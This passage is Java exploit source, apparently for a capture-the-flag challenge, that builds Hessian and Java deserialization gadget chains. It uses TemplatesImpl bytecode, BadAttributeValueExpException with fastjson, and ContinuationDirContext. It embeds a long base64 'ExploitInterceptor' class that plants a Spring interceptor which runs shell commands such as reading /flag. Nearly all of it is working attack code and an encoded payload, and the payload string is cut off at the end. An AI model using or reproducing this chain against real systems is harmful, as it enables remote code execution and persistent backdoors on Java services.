Reflections.setFieldValue(templatesimpl,"_name","1");
Reflections.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
JSONObject jsonObject = new JSONObject();
jsonObject.put("xxxx", templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Reflections.setFieldValue(badAttributeValueExpException, "val", jsonObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.close();
String payloadBase64 = sun.misc.BASE64Encoder.class.newInstance().encode(baos.toByteArray());
System.out.println(payloadBase64.replaceAll("\\A", ""));
Main.java
package com.hessian;
import com.alibaba.fastjson.JSONObject;
import com.alipay.hessian.ClassNameResolver;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.HessianOutput;
import com.example.registry.data.Result;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import io.swagger.v3.core.util.Json;
import org.apache.naming.ResourceRef;
import org.hibernate.metamodel.source.annotations.ReflectionHelper;
import org.springframework.aop.target.HotSwappableTargetSource;
import ysoserial.payloads.util.Reflections;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class Main {
public static <T> byte[] serialize(T o) throws IOException, IOException {
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
ByteArrayOutputStream bao = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(bao);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(o);
output.close();
bao.writeTo(fileOutputStream);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
Hessian2Input input = new Hessian2Input(bai);
Object o = input.readObject();
return (T) o;
}
public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("javax.naming.spi.ContinuationDirContext").getDeclaredConstructors()[0];
constructor.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
Reflections.setFieldValue(cpe, "cause", null);
Reflections.setFieldValue(cpe, "stackTrace", null);
// base64 encode of ExploitInterceptor.class
String b64payload = "yv66vgAAADQA0wsAMgBsCwAyAG0IAG4LAG8AcAgAcQoAcgBzCQAoAHQIAHUIAHYIAHcHAHgKAHIAeQcAegoADQB7CAB8CgANAH0KAA0AfggAfwgAgAsAgQCCCwCBAIMKAIQAhQoAhACGCgCEAIcKAAsAiAoAiQCKCACLCwCMAI0HAI4IAFcLAB0AjwcAkAgAWwoAkQCSCgCTAJQKAJMAlQcAlgoAJQCXCgAlAJgHAJkJAJoAmwgAnAoAnQCeCACfCgAoAHsKACUAoAcAoQcAogoAMACjBwCkAQAHY291bnRlcgEAAUkBAApwb3N0SGFuZGxlAQCSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFExFeHBsb2l0SW50ZXJjZXB0b3I7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAxtb2RlbEFuZFZpZXcBAC5Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7AQAKRXhjZXB0aW9ucwEAEE1ldGhvZFBhcmFtZXRlcnMBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQAHbWVzc2FnZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEABGNvZGUBAA1TdGFja01hcFRhYmxlBwClAQAGPGluaXQ+AQADKClWAQABaQEAB2NvbnRleHQBADBMb3JnL3NwcmluZ2ZyYW1ld29yay9jb250ZXh0L0FwcGxpY2F0aW9uQ29udGV4dDsBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQBATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABVMamF2YS91dGlsL0FycmF5TGlzdDsBABJleHBsb2l0SW50ZXJjZXB0b3IBAAFlAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAKUxqYXZhL3V0aWwvQXJyYXlMaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47BwCZBwCOBwCQBwCmBwCWBwChAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQABYQEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAF0V4cGxvaXRJbnRlcmNlcHRvci5qYXZhDAA1ADYMAEYARwEAAAcApwwAqACpAQASL2JsYWNrbGlzdC9qZGsvZ2V0BwClDACqAKsMADMANAEAo3siY29kZSI6IjIwMCIsIm1lc3NhZ2UiOiJyTzBBQlhOeUFCTnFZWFpoTG5WMGFXd3VRWEp5WVhsTWFYTjBlSUhTSFpuSFlaMERBQUZKQUFSemFYcGxlSEFBQUFBQmR3UUFBQUFCZEFBcGIzSm5MbXBpYjNOekxuQnliM2g1TG1WcVlpNW9ZVzVrYkdVdVNHOXRaVWhoYm1Sc1pVbHRjR3g0In0BJGxyTzBBQlhOeUFDNXFZWFpoZUM1dFlXNWhaMlZ0Wlc1MExrSmhaRUYwZEhKcFluVjBaVlpoYkhWbFJYaHdSWGhqWlhCMGFXOXUxT2ZhcTJNdFJrQUNBQUZNQUFOMllXeDBBQkpNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHQ0Y2dBVGFtRjJZUzVzWVc1bkxrVjRZMlZ3ZEdsdmJ0RDlIejRhT3h6RUFnQUFlSElBRTJwaGRtRXViR0Z1Wnk1VWFISnZkMkZpYkdYVnhqVW5PWGU0eXdNQUJFd0FCV05oZFhObGRBQVZUR3BoZG1FdmJHRnVaeTlVYUhKdmQyRmliR1U3VEFBTlpHVjBZV2xzVFdWemMyRm5aWFFBRWt4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzFzQUNuTjBZV05yVkhKaFkyVjBBQjViVEdwaGRtRXZiR0Z1Wnk5VGRHRmphMVJ5WVdObFJXeGxiV1Z1ZER0TUFCUnpkWEJ3Y21WemMyVmtSWGhqWlhCMGFXOXVjM1FBRUV4cVlYWmhMM1YwYVd3dlRHbHpkRHQ0Y0hFQWZnQUljSFZ5QUI1YlRHcGhkbUV1YkdGdVp5NVRkR0ZqYTFSeVlXTmxSV3hsYldWdWREc0NSaW84UFAwaU9RSUFBSGh3QUFBQUFYTnlBQnRxWVhaaExteGhibWN1VTNSaFkydFVjbUZqWlVWc1pXMWxiblJoQ2NXYUpqYmRoUUlBQkVrQUNteHBibVZPZFcxaVpYSk1BQTVrWldOc1lYSnBibWREYkdGemMzRUFmZ0FGVEFBSVptbHNaVTVoYldWeEFINEFCVXdBQ20xbGRHaHZaRTVoYldWeEFINEFCWGh3QUFBQUhIUUFCRTFoYVc1MEFBbE5ZV2x1TG1waGRtRjBBQVJ0WVdsdWMzSUFKbXBoZG1FdWRYUnBiQzVEYjJ4c1pXTjBhVzl1Y3lSVmJtMXZaR2xtYVdGaWJHVk1hWE4wL0E4bE1iWHNqaEFDQUFGTUFBUnNhWE4wY1FCK0FBZDRjZ0FzYW1GMllTNTFkR2xzTGtOdmJHeGxZM1JwYjI1ekpGVnViVzlrYVdacFlXSnNaVU52Ykd4bFkzUnBiMjRaUWdDQXkxNzNIZ0lBQVV3QUFXTjBBQlpNYW1GMllTOTFkR2xzTDBOdmJHeGxZM1JwYjI0N2VIQnpjZ0FUYW1GMllTNTFkR2xzTGtGeWNtRjVUR2x6ZEhpQjBoMlp4MkdkQXdBQlNRQUVjMmw2Wlhod0FBQUFBSGNFQUFBQUFIaHhBSDRBRlhoemNnQWZZMjl0TG1Gc2FXSmhZbUV1Wm1GemRHcHpiMjR1U2xOUFRrOWlhbVZqZEFBQUFBQUFBQUFCQWdBQlRBQURiV0Z3ZEFBUFRHcGhkbUV2ZFhScGJDOU5ZWEE3ZUhCemNnQVJhbUYyWVM1MWRHbHNMa2hoYzJoTllYQUZCOXJCd3haZzBRTUFBa1lBQ214dllXUkdZV04wYjNKSkFBbDBhSEpsYzJodmJHUjRjRDlBQUFBQUFBQU1kd2dBQUFBUUFBQUFBWFFBQkhoNGVIaHpjZ0E2WTI5dExuTjFiaTV2Y21jdVlYQmhZMmhsTG5oaGJHRnVMbWx1ZEdWeWJtRnNMbmh6YkhSakxuUnlZWGd1VkdWdGNHeGhkR1Z6U1cxd2JBbFhUOEZ1cktzekF3QUdTUUFOWDJsdVpHVnVkRTUxYldKbGNra0FEbDkwY21GdWMyeGxkRWx1WkdWNFd3QUtYMko1ZEdWamIyUmxjM1FBQTF0YlFsc0FCbDlqYkdGemMzUUFFbHRNYW1GMllTOXNZVzVuTDBOc1lYTnpPMHdBQlY5dVlXMWxjUUIrQUFWTUFCRmZiM1YwY0hWMFVISnZjR1Z5ZEdsbGMzUUFGa3hxWVhaaEwzVjBhV3d2VUhKdmNHVnlkR2xsY3p0NGNBQUFBQUQvLy8vL2RYSUFBMXRiUWt2OUdSVm5aOXMzQWdBQWVIQUFBQUFCZFhJQUFsdENyUE1YK0FZSVZPQUNBQUI0Y0FBQUZyeksvcnErQUFBQU5BRUhDd0E4QUg4TEFEd0FnQXNBZ1FDQ0NBQ0RDZ0FIQUlRS0FJVUFoZ2NBaHdnQWlBZ0FpUWdBaWdvQWhRQ0xDZ0NNQUkwSEFJNEtBQTBBandnQWtBb0FEUUNSQ2dBTkFKSUhBSk1LQUJJQWxBZ0FsUW9BRWdDV0NnQ1hBSmdLQUFjQW1Rb0FtZ0NiQ0FDY0NnQVNBSjBJQUo0SUFKOExBS0FBb1FzQW9BQ2lDZ0NqQUtRS0FLTUFwUW9Bb3dDbUNnQTdBSlFLQUtjQXFBZ0FxUXNBcWdDckJ3Q3NDQUJnQ3dBbUFLMEhBSzRJQUdRS0FLOEFzQW9Bc1FDeUNnQ3hBTE1IQUxRS0FDNEF0UW9BTGdDMkJ3QzNDUUM0QUxrSUFMb0tBTHNBdkFnQXZRb0FNUUMrQ2dBdUFMOEhBTUFIQU1FS0FEa0F3Z2NBd3djQXhBRUFDbkJ2YzNSSVlXNWtiR1VCQUpJb1RHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsY1hWbGMzUTdUR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGMzQnZibk5sTzB4cVlYWmhMMnhoYm1jdlQySnFaV04wTzB4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMDF2WkdWc1FXNWtWbWxsZHpzcFZnRUFCRU52WkdVQkFBOU1hVzVsVG5WdFltVnlWR0ZpYkdVQkFCSk1iMk5oYkZaaGNtbGhZbXhsVkdGaWJHVUJBQVIwYUdsekFRQVZURVY0Y0d4dmFYUXlTVzUwWlhKalpYQjBiM0k3QVFBSGNtVnhkV1Z6ZEFFQUoweHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPd0VBQ0hKbGMzQnZibk5sQVFBb1RHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxPd0VBQjJoaGJtUnNaWElCQUJKTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFBeHRiMlJsYkVGdVpGWnBaWGNCQUM1TWIzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzlOYjJSbGJFRnVaRlpwWlhjN0FRQUtSWGhqWlhCMGFXOXVjd0VBRUUxbGRHaHZaRkJoY21GdFpYUmxjbk1CQUE5aFpuUmxja052YlhCc1pYUnBiMjRCQUhrb1RHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsY1hWbGMzUTdUR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGMzQnZibk5sTzB4cVlYWmhMMnhoYm1jdlQySnFaV04wTzB4cVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dU95bFdBUUFDWlhnQkFCVk1hbUYyWVM5c1lXNW5MMFY0WTJWd2RHbHZianNCQUFsd2NtVklZVzVrYkdVQkFHUW9UR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGNYVmxjM1E3VEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjM0J2Ym5ObE8weHFZWFpoTDJ4aGJtY3ZUMkpxWldOME95bGFBUUFDYVc0QkFCVk1hbUYyWVM5cGJ5OUpibkIxZEZOMGNtVmhiVHNCQUFadmRYUndkWFFCQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBWnlaWE4xYkhRQkFBMVRkR0ZqYTAxaGNGUmhZbXhsQVFBR1BHbHVhWFErQVFBREtDbFdBUUFCYVFFQUFVa0JBQWRqYjI1MFpYaDBBUUF3VEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdlkyOXVkR1Y0ZEM5QmNIQnNhV05oZEdsdmJrTnZiblJsZUhRN0FRQWNjbVZ4ZFdWemRFMWhjSEJwYm1kSVlXNWtiR1Z5VFdGd2NHbHVad0VBUUV4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMmhoYm1Sc1pYSXZRV0p6ZEhKaFkzUklZVzVrYkdWeVRXRndjR2x1WnpzQkFBVm1hV1ZzWkFFQUdVeHFZWFpoTDJ4aGJtY3ZjbVZtYkdWamRDOUdhV1ZzWkRzQkFCTmhaR0Z3ZEdWa1NXNTBaWEpqWlhCMGIzSnpBUUFWVEdwaGRtRXZkWFJwYkM5QmNuSmhlVXhwYzNRN0FRQVRaWGh3Ykc5cGRESkpiblJsY21ObGNIUnZjZ0VBQVdVQkFCWk1iMk5oYkZaaGNtbGhZbXhsVkhsd1pWUmhZbXhsQVFBcFRHcGhkbUV2ZFhScGJDOUJjbkpoZVV4cGMzUThUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdQanNIQUxjSEFLd0hBSzRIQU1VSEFMUUhBTUFCQUJVb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tWWUJBQUZoQVFBSmRISmhibk5tYjNKdEFRQnlLRXhqYjIwdmMzVnVMMjl5Wnk5aGNHRmphR1V2ZUdGc1lXNHZhVzUwWlhKdVlXd3ZlSE5zZEdNdlJFOU5PMXRNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOXpaWEpwWVd4cGVtVnlMMU5sY21saGJHbDZZWFJwYjI1SVlXNWtiR1Z5T3lsV0FRQUlaRzlqZFcxbGJuUUJBQzFNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNoaGJHRnVMMmx1ZEdWeWJtRnNMM2h6YkhSakwwUlBUVHNCQUFob1lXNWtiR1Z5Y3dFQVFsdE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2h0YkM5cGJuUmxjbTVoYkM5elpYSnBZV3hwZW1WeUwxTmxjbWxoYkdsNllYUnBiMjVJWVc1a2JHVnlPd2NBeGdFQXBpaE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2hoYkdGdUwybHVkR1Z5Ym1Gc0wzaHpiSFJqTDBSUFRUdE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2h0YkM5cGJuUmxjbTVoYkM5a2RHMHZSRlJOUVhocGMwbDBaWEpoZEc5eU8weGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlRzFzTDJsdWRHVnlibUZzTDNObGNtbGhiR2w2WlhJdlUyVnlhV0ZzYVhwaGRHbHZia2hoYm1Sc1pYSTdLVllCQUFocGRHVnlZWFJ2Y2dFQU5VeGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlRzFzTDJsdWRHVnlibUZzTDJSMGJTOUVWRTFCZUdselNYUmxjbUYwYjNJN0FRQkJUR052YlM5emRXNHZiM0puTDJGd1lXTm9aUzk0Yld3dmFXNTBaWEp1WVd3dmMyVnlhV0ZzYVhwbGNpOVRaWEpwWVd4cGVtRjBhVzl1U0dGdVpHeGxjanNCQUFwVGIzVnlZMlZHYVd4bEFRQVlSWGh3Ykc5cGRESkpiblJsY21ObGNIUnZjaTVxWVhaaERBQTlBRDRNQUU0QVR3Y0F4d3dBeUFESkFRQUhMM04wWVhSMWN3d0F5Z0RMQndETURBRE5BTTRCQUJCcVlYWmhMMnhoYm1jdlUzUnlhVzVuQVFBSEwySnBiaTl6YUFFQUFpMWpBUUFKWTJGMElDOW1iR0ZuREFEUEFOQUhBTkVNQU5JQTB3RUFFV3BoZG1FdmRYUnBiQzlUWTJGdWJtVnlEQUJhQU5RQkFBSmNRUXdBMVFEV0RBRFhBTWtCQUJkcVlYWmhMMnhoYm1jdlUzUnlhVzVuUW5WcGJHUmxjZ3dBV2dCYkFRQVpleUpqYjJSbElqb2lNakF3SWl3aWJXVnpjMkZuWlNJNklnd0EyQURaQndEYURBRGJBTjRNQU44QTRBY0E0UXdBNGdEakFRQUNJbjBNQU9RQXlRRUFERU52Ym5SbGJuUXRWSGx3WlFFQUhtRndjR3hwWTJGMGFXOXVMMnB6YjI0N1kyaGhjbk5sZEQxVlZFWXRPQWNBNVF3QTVnRG5EQURvQU9rSEFPb01BT3NBY0F3QTdBQmJEQUR0QUZzSEFPNE1BTzhBOEFFQU9XOXlaeTV6Y0hKcGJtZG1jbUZ0WlhkdmNtc3VkMlZpTG5ObGNuWnNaWFF1UkdsemNHRjBZMmhsY2xObGNuWnNaWFF1UTA5T1ZFVllWQWNBOFF3QThnRHpBUUF1YjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5amIyNTBaWGgwTDBGd2NHeHBZMkYwYVc5dVEyOXVkR1Y0ZEF3QTlBRDFBUUErYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOW9ZVzVrYkdWeUwwRmljM1J5WVdOMFNHRnVaR3hsY2sxaGNIQnBibWNIQVBZTUFQY0ErQWNBeFF3QStRRDZEQUQ3QVB3QkFCTnFZWFpoTDNWMGFXd3ZRWEp5WVhsTWFYTjBEQUQ5QVA0TUFQc0Evd0VBRTBWNGNHeHZhWFF5U1c1MFpYSmpaWEIwYjNJSEFRQU1BUUVCQWdFQUhsUmxiWEJKYm5SbGNtTmxjSFJ2Y2lCb1lYTWdZbVZsYmlCaFpHUmxaQWNCQXd3QkJBQndBUUFHWW14aFlteGhEQUJhQUhBTUFRVUF5d0VBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFCcHFZWFpoTDJ4aGJtY3ZVblZ1ZEdsdFpVVjRZMlZ3ZEdsdmJnd0FXZ0VHQVFCQVkyOXRMM04xYmk5dmNtY3ZZWEJoWTJobEwzaGhiR0Z1TDJsdWRHVnlibUZzTDNoemJIUmpMM0oxYm5ScGJXVXZRV0p6ZEhKaFkzUlVjbUZ1YzJ4bGRBRUFNbTl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzTmxjblpzWlhRdlNHRnVaR3hsY2tsdWRHVnlZMlZ3ZEc5eUFRQVhhbUYyWVM5c1lXNW5MM0psWm14bFkzUXZSbWxsYkdRQkFEbGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlR0ZzWVc0dmFXNTBaWEp1WVd3dmVITnNkR012VkhKaGJuTnNaWFJGZUdObGNIUnBiMjRCQUNWcVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWEYxWlhOMEFRQU5aMlYwVW1WeGRXVnpkRlZTU1FFQUZDZ3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFHWlhGMVlXeHpBUUFWS0V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3lsYUFRQVJhbUYyWVM5c1lXNW5MMUoxYm5ScGJXVUJBQXBuWlhSU2RXNTBhVzFsQVFBVktDbE1hbUYyWVM5c1lXNW5MMUoxYm5ScGJXVTdBUUFFWlhobFl3RUFLQ2hiVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1V4cVlYWmhMMnhoYm1jdlVISnZZMlZ6Y3pzQkFCRnFZWFpoTDJ4aGJtY3ZVSEp2WTJWemN3RUFEbWRsZEVsdWNIVjBVM1J5WldGdEFRQVhLQ2xNYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlRzQkFCZ29UR3BoZG1FdmFXOHZTVzV3ZFhSVGRISmxZVzA3S1ZZQkFBeDFjMlZFWld4cGJXbDBaWElCQUNjb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoTDNWMGFXd3ZVMk5oYm01bGNqc0JBQVJ1WlhoMEFRQUdZWEJ3Wlc1a0FRQXRLRXhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxNYW1GMllTOXNZVzVuTDFOMGNtbHVaMEoxYVd4a1pYSTdBUUFRYW1GMllTOTFkR2xzTDBKaGMyVTJOQUVBQ21kbGRFVnVZMjlrWlhJQkFBZEZibU52WkdWeUFRQU1TVzV1WlhKRGJHRnpjMlZ6QVFBY0tDbE1hbUYyWVM5MWRHbHNMMEpoYzJVMk5DUkZibU52WkdWeU93RUFDR2RsZEVKNWRHVnpBUUFFS0NsYlFnRUFHR3BoZG1FdmRYUnBiQzlDWVhObE5qUWtSVzVqYjJSbGNnRUFEbVZ1WTI5a1pWUnZVM1J5YVc1bkFRQVdLRnRDS1V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3dFQUNIUnZVM1J5YVc1bkFRQW1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WemNHOXVjMlVCQUFsaFpHUklaV0ZrWlhJQkFDY29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVllCQUFsblpYUlhjbWwwWlhJQkFCY29LVXhxWVhaaEwybHZMMUJ5YVc1MFYzSnBkR1Z5T3dFQUUycGhkbUV2YVc4dlVISnBiblJYY21sMFpYSUJBQVYzY21sMFpRRUFCV1pzZFhOb0FRQUZZMnh2YzJVQkFEeHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDNKbGNYVmxjM1F2VW1WeGRXVnpkRU52Ym5SbGVIUkliMnhrWlhJQkFCaGpkWEp5Wlc1MFVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNQkFEMG9LVXh2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOWpiMjUwWlhoMEwzSmxjWFZsYzNRdlVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNN0FRQTViM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdlkyOXVkR1Y0ZEM5eVpYRjFaWE4wTDFKbGNYVmxjM1JCZEhSeWFXSjFkR1Z6QVFBTVoyVjBRWFIwY21saWRYUmxBUUFuS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzBrcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQUhaMlYwUW1WaGJnRUFKaWhNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBUGFtRjJZUzlzWVc1bkwwTnNZWE56QVFBUVoyVjBSR1ZqYkdGeVpXUkdhV1ZzWkFFQUxTaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTl5Wldac1pXTjBMMFpwWld4a093RUFEWE5sZEVGalkyVnpjMmxpYkdVQkFBUW9XaWxXQVFBRFoyVjBBUUFtS0V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3lsTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFBUnphWHBsQVFBREtDbEpBUUFWS0VrcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQVFhbUYyWVM5c1lXNW5MMU41YzNSbGJRRUFBMjkxZEFFQUZVeHFZWFpoTDJsdkwxQnlhVzUwVTNSeVpXRnRPd0VBRTJwaGRtRXZhVzh2VUhKcGJuUlRkSEpsWVcwQkFBZHdjbWx1ZEd4dUFRQURZV1JrQVFBWUtFeHFZWFpoTDJ4aGJtY3ZWR2h5YjNkaFlteGxPeWxXQUNFQU1RQTdBQUVBUEFBQUFBY0FBUUE5QUQ0QUF3QS9BQUFBWUFBRkFBVUFBQUFLS2lzc0xSa0V0d0FCc1FBQUFBSUFRQUFBQUFvQUFnQUFBQmdBQ1FBWkFFRUFBQUEwQUFVQUFBQUtBRUlBUXdBQUFBQUFDZ0JFQUVVQUFRQUFBQW9BUmdCSEFBSUFBQUFLQUVnQVNRQURBQUFBQ2dCS0FFc0FCQUJNQUFBQUJBQUJBRGdBVFFBQUFCRUVBRVFBQUFCR0FBQUFTQUFBQUVvQUFBQUJBRTRBVHdBREFEOEFBQUJnQUFVQUJRQUFBQW9xS3l3dEdRUzNBQUt4QUFBQUFnQkFBQUFBQ2dBQ0FBQUFIUUFKQUI0QVFRQUFBRFFBQlFBQUFBb0FRZ0JEQUFBQUFBQUtBRVFBUlFBQkFBQUFDZ0JHQUVjQUFnQUFBQW9BU0FCSkFBTUFBQUFLQUZBQVVRQUVBRXdBQUFBRUFBRUFPQUJOQUFBQUVRUUFSQUFBQUVZQUFBQklBQUFBVUFBQUFBRUFVZ0JUQUFNQVB3QUFBU01BQlFBSEFBQUFqaXU1QUFNQkFCSUV0Z0FGbVFDQnVBQUdCcjBBQjFrREVnaFRXUVFTQ1ZOWkJSSUtVN1lBQzdZQUREb0V1d0FOV1JrRXR3QU9FZysyQUJDMkFCRTZCYnNBRWxtM0FCTVNGTFlBRmJnQUZoa0Z0Z0FYdGdBWXRnQVZFaG0yQUJXMkFCbzZCaXdTR3hJY3VRQWRBd0FzdVFBZUFRQVpCcllBSHl5NUFCNEJBTFlBSUN5NUFCNEJBTFlBSVFPc0JLd0FBQUFEQUVBQUFBQXFBQW9BQUFBbEFBNEFKZ0FzQUNjQVB3QXBBR01BS2dCdEFDc0FlQUFzQUlFQUxRQ0tBQzRBakFBd0FFRUFBQUJJQUFjQUxBQmdBRlFBVlFBRUFEOEFUUUJXQUZjQUJRQmpBQ2tBV0FCWEFBWUFBQUNPQUVJQVF3QUFBQUFBamdCRUFFVUFBUUFBQUk0QVJnQkhBQUlBQUFDT0FFZ0FTUUFEQUZrQUFBQUZBQUg3QUl3QVRBQUFBQVFBQVFBNEFFMEFBQUFOQXdCRUFBQUFSZ0FBQUVnQUFBQUJBRm9BV3dBQkFEOEFBQUdEQUFNQUJnQUFBSUFxdHdBaXVBQWpFaVFEdVFBbEF3REFBQ1pNS3hJbnVRQW9BZ0RBQUNsTkVpa1NLcllBSzA0dEJMWUFMQzBzdGdBdHdBQXVPZ1FETmdVVkJSa0V0Z0F2b2dBZkdRUVZCYllBTU1FQU1aa0FETElBTWhJenRnQTBzWVFGQWFmLzNic0FNVmtTTmJjQU5qb0ZHUVFaQmJZQU4xZW5BQTFNdXdBNVdTdTNBRHEvc1FBQ0FBUUFXQUIxQURnQVdRQnlBSFVBT0FBRUFFQUFBQUJHQUJFQUFBQTBBQVFBTmdBVEFEY0FId0E0QUNjQU9RQXNBRG9BTmdBOEFFTUFQUUJRQUQ0QVdBQS9BRmtBUEFCZkFFSUFhZ0JEQUhJQVJ3QjFBRVVBZGdCR0FIOEFTUUJCQUFBQVVnQUlBRGtBSmdCY0FGMEFCUUFUQUY4QVhnQmZBQUVBSHdCVEFHQUFZUUFDQUNjQVN3QmlBR01BQXdBMkFEd0FaQUJsQUFRQWFn